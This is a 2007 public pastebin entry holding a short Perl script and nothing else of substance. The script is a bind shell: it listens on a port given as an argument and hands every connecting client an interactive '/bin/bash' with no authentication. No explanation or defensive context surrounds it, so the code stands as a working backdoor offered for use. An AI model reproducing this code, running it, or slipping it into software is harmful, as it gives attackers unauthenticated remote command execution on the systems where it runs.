Public paste
kaak
By: Arie | Date: Apr 23 2007 09:10 | Format: None | Expires: never | Size: 614 B | Hits: 746

  1. #!/usr/bin/perl
  2. $SHELL="/bin/bash -i";
  3. if (@ARGV < 1) { exit(1); }
  4. $LISTEN_PORT=$ARGV[0];
  5. use Socket;
  6. $protocol=getprotobyname('tcp');
  7. socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socketn";
  8. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  9. bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open portn";
  10. listen(S,3) || die "Cant listen portn";
  11. while(1)
  12. {
  13. accept(CONN,S);
  14. if(!($pid=fork))
  15. {
  16. die "Cannot fork" if (!defined $pid);
  17. open STDIN,"<&CONN";
  18. open STDOUT,">&CONN";
  19. open STDERR,">&CONN";
  20. exec $SHELL || die print CONN "Cant execute $SHELLn";
  21. close CONN;
  22. exit 0;
  23. }
  24. }
  25.  
Latest pastes
1 days ago
1 days ago
3 days ago
5 days ago
5 days ago